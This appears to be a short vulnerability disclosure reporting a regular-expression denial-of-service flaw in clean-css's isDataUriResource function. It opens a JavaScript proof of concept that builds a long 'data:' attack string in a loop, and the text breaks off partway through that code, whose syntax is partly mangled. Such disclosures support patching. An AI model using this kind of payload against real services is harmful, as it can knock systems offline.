Inefficient Regular Expression Complexity in clean-css/clean-css

✍️ Description It allows cause a denial of service when calling function isDataUriResource. 🕵️‍♂️ Proof of Concept // PoC.js var isDataUriResource = require"clean-css/lib/utils/is-data-uri-resource" forvar i = 1; i = 50000; i++ var time = Date.now; var attackstr = 'data:' +...